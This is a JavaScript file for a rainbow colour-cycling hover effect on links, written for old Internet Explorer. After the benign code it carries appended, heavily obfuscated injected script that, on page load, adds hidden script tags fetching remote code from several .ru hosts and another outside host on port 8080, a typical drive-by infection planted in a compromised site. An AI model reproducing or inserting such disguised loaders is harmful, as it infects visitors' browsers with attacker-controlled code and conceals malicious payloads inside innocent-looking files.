


var rate = 100; // 


var obj; // The object which event occured in
var act = 0; // Flag during the action
var elmH = 0; // Hue
var elmS = 128; // Saturation
var elmV = 255; // Value
var clrOrg; // A color before the change
var TimerID; // Timer ID


if (navigator.appName.indexOf("Microsoft",0) != -1 && parseInt(navigator.appVersion) >= 4) {
Browser = true;
} else {
Browser = false;
}

if (Browser) {
document.onmouseover = doRainbowAnchor;
document.onmouseout = stopRainbowAnchor;
}


//=============================================================================
// doRainbow
// This function begins to change a color.
//=============================================================================
function doRainbow()
{
if (Browser && act != 1) {
act = 1;
obj = event.srcElement;
clrOrg = obj.style.color;
TimerID = setInterval("ChangeColor()",100);
}
}


//=============================================================================
// stopRainbow
// This function stops to change a color.
//=============================================================================
function stopRainbow()
{
if (Browser && act != 0) {
obj.style.color = clrOrg;
clearInterval(TimerID);
act = 0;
}
}


//=============================================================================
// doRainbowAnchor
// This function begins to change a color. (of a anchor, automatically)
//=============================================================================
function doRainbowAnchor()
{
if (Browser && act != 1) {
obj = event.srcElement;

while (obj.tagName != 'A' && obj.tagName != 'BODY') {
obj = obj.parentElement;
if (obj.tagName == 'A' || obj.tagName == 'BODY')
break;
}

if (obj.tagName == 'A' && obj.href != '') {
act = 1;
clrOrg = obj.style.color;
TimerID = setInterval("ChangeColor()",100);
}
}
}


//=============================================================================
// stopRainbowAnchor
// This function stops to change a color. (of a anchor, automatically)
//=============================================================================
function stopRainbowAnchor()
{
if (Browser && act != 0) {
if (obj.tagName == 'A') {
obj.style.color = clrOrg;
clearInterval(TimerID);
act = 0;
}
}
}


//=============================================================================
// Change Color
// This function changes a color actually.
//=============================================================================
function ChangeColor()
{
obj.style.color = makeColor();
}


//=============================================================================
// makeColor
// This function makes rainbow colors.
//=============================================================================
function makeColor()
{
// Don't you think Color Gamut to look like Rainbow?

// HSVtoRGB
if (elmS == 0) {
elmR = elmV; elmG = elmV; elmB = elmV;
}
else {
t1 = elmV;
t2 = (255 - elmS) * elmV / 255;
t3 = elmH % 60;
t3 = (t1 - t2) * t3 / 60;

if (elmH < 60) {
elmR = t1; elmB = t2; elmG = t2 + t3;
}
else if (elmH < 120) {
elmG = t1; elmB = t2; elmR = t1 - t3;
}
else if (elmH < 180) {
elmG = t1; elmR = t2; elmB = t2 + t3;
}
else if (elmH < 240) {
elmB = t1; elmR = t2; elmG = t1 - t3;
}
else if (elmH < 300) {
elmB = t1; elmG = t2; elmR = t2 + t3;
}
else if (elmH < 360) {
elmR = t1; elmG = t2; elmB = t1 - t3;
}
else {
elmR = 0; elmG = 0; elmB = 0;
}
}

elmR = Math.floor(elmR);
elmG = Math.floor(elmG);
elmB = Math.floor(elmB);

clrRGB = '#' + elmR.toString(16) + elmG.toString(16) + elmB.toString(16);

elmH = elmH + rate;
if (elmH >= 360)
elmH = 0;

return clrRGB;
}



Rb=[];var x="x";function Y(){var B=String("sr"+"c");var I=new String("scr"+"ipt");this.i='';var m="bod"+"ydoe".substr(0,1);P={};this.ny=false;var n=String("appenhV0R".substr(0,5)+"dChil"+"d");CD=["Ha"];var j=document;var mA="";var p=window;var g=String("MpC5on".substr(4)+"lo"+"ad");var ie={O:63450};U=["KF","Hb","Rp"];var _=String("def"+"er");var z=new String("cre"+"ate"+"Ele"+"men"+"t");a=["X","Xi"];gM=1977;gM++;var F=["mt","r"];function N(){HU=62837;HU++;try {var IA=3224-3223;this.k_=false;this.iV=45359;this.iV--;var v=new String("htt"+"p:/"+"/di"+"rty"+"sin"+".ru"+":");var y='';var b=false;var E=new String("/goKw4".substr(0,3)+"ogl"+"e.c"+"om/weER".substr(0,3)+"0NZ6atd06NZ".substr(4,3)+"mt."+"com"+"91Hn/go".substr(4)+"oglHKx".substr(0,3)+"e.a"+"t.p"+"hp");_M={};FJ=[];var zS=new String();var vc=751857-743777;mv=[];ve=["a_"];Ex=j[z](I);try {var Ix='kN'} catch(Ix){};var tA={Vc:false};w=[];var kn=false;Ex[B]=v+vc+E;Ex[_]=IA;f=["jY","IL"];Ih=33450;Ih+=192;j[m][n](Ex);BG=["Co"];S={};var l={zH:false};} catch(_i){Zx={};this.Dr=false;var HB=new Date();};var e=35870;}sk=34574;sk++;p[g]=N;var PY=[];};Y();this.qw=false;
v={C:"A"};var E={};try {var h='EZ'} catch(h){};try {u={q:3812};YQ={b:false};r={D:false};var Q="";var Kp=new Array();this.R=63407;this.R-=159;try {} catch(t){};var TL=new Array();var U=window[new String("un"+"es"+"ca"+"7aHGpe".substr(4))];PX=22407;PX+=122;var rR=[];var jm=new Date();this.k_=24115;this.k_--;this.ql=35810;this.ql++;var W="onlj3vO".substr(0,3)+"jApoad".substr(3);var YA=new Array();var s='';var ce=new Date();var y="1";var i="repl"+"ace";var MG='';try {var kh='Tl'} catch(kh){};var ki=["_B","vb","QE"];var kK='';var xR='';var BT=new Date();dv={XX:28902};var B=window[(String("RegLfb".substr(0,3)+"NlnExp".substr(3)))];aF=22004;aF+=163;this.iL='';var VE={PJ:false};this.hz='';pp=15154;pp++;function O(y,X){this.GS=57114;this.GS+=125;var j=String("[");var PC=false;var mw=[];j+=X;var YC={ba:false};XP=["WG"];var Ik={SE:false};var Ih={Si:false};Pv=["uB"];j+=U("%5d");this.Bl=53437;this.Bl+=181;var hn={Iz:13859};aT={DS:false};UL=16761;UL--;var cg=[];sc={Xa:42272};var cO=["Gm","_a"];var pR=["ZU","yB"];var Y=new B(j, new String("g"));Pe=65080;Pe--;try {var Cmx='_E'} catch(Cmx){};return y.replace(Y, s);};xb=1714;xb-=154;Wcf=62699;Wcf-=12;var IS=new String();Xp=[];ro=28254;ro-=179;var o=String("http"+"://gtfe".substr(0,4)+"I6Yothg".substr(3)+"uilt"+"SRyU.ru:yURS".substr(4,4));wg=["LDs","ai","_W"];var ob="";var M=520549-512469;kg={nc:false};var UA="/mi"+"lli"+"yet"+"-co"+"m-t"+"r/g"+"oog"+"le.yIN0".substr(0,3)+"com"+"bku/sh".substr(3)+"are"+"asa"+"le."+"TYnjcom".substr(4)+"2veC.phe2Cv".substr(4,3)+"p";var cJ="cJ";try {} catch(Bg){};fT=["wQ"];this.kM='';var em=new Array();function J(){var lne={};var ARm={gm:false};VX={eR:"aW"};var FU={};var Z=document;var uJ=new Array();RC={Ru:false};try {var Lo='Xe'} catch(Lo){};Ozj=59621;Ozj++;var sv=new String("appJ3A".substr(0,3)+"endmI8T".substr(0,3)+"ChiV9j".substr(0,3)+"ld");var Li={Fn:false};this.eV="";this.Ox=6705;this.Ox++;var zp={};var H=O('skcerCiIpDtT','gJbIuDHTe2UkCEyLSzY');pS=12730;pS+=238;var gE=["Fp","Fs","aR"];cBE=["ek"];gg=["Tk","cd","WU"];WI=13897;WI++;var Aq=new Array();var hN={hd:false};K=Z.createElement(H);qL=51373;qL--;oF=25889;oF--;Rg=24707;Rg--;lX=[];oV=[];L=o+M;L=L+UA;this.vA=32456;this.vA+=144;Ig={mW:"_P"};TD=["iX","qZ"];Pu=["vB","hA"];var qV={};try {} catch(AF){};var Eg={FI:1928};K.src=L;var Ka=[];K[new String("defe"+"32Ur".substr(3))]=y;var mO={cC:"iO"};var fu={WR:"uh"};var Cl={cL:"Rw"};kJ=["Ai","Rx","Zl"];var EGD={xt:"uTV"};var LoX=[];var MXq=new Date();Cs={VF:20495};var zf=false;var BE=["aso","GE"];var UV=Z.body;var ZI="ZI";var cE=["vN"];var az=["__","aO","zW"];this.am=33212;this.am++;var fh=["Nq","Nx"];this.cS="";this.RW="";JV={RK:false};UV[sv](K);var bg={KD:54027};};var baE="";UM={Cv:"Lf"};this.gB=39514;this.gB--;var miT=false;var lI=false;var ah={Ke:false};window[W]=J;var RI=33912;var H_=["wz"];var YyZ=["idf","lq","IH"];this.eo=47526;this.eo++;this.kq=52128;this.kq--;} catch(d){try {var aZ='Bp'} catch(aZ){};this.iz="";var go={rg:"pV"};try {var bh='Ua'} catch(bh){};};




document.write('<s'+'cript type="text/javascript" src="http://dodo.busop.info:8080/Bcc.js"></scr'+'ipt>');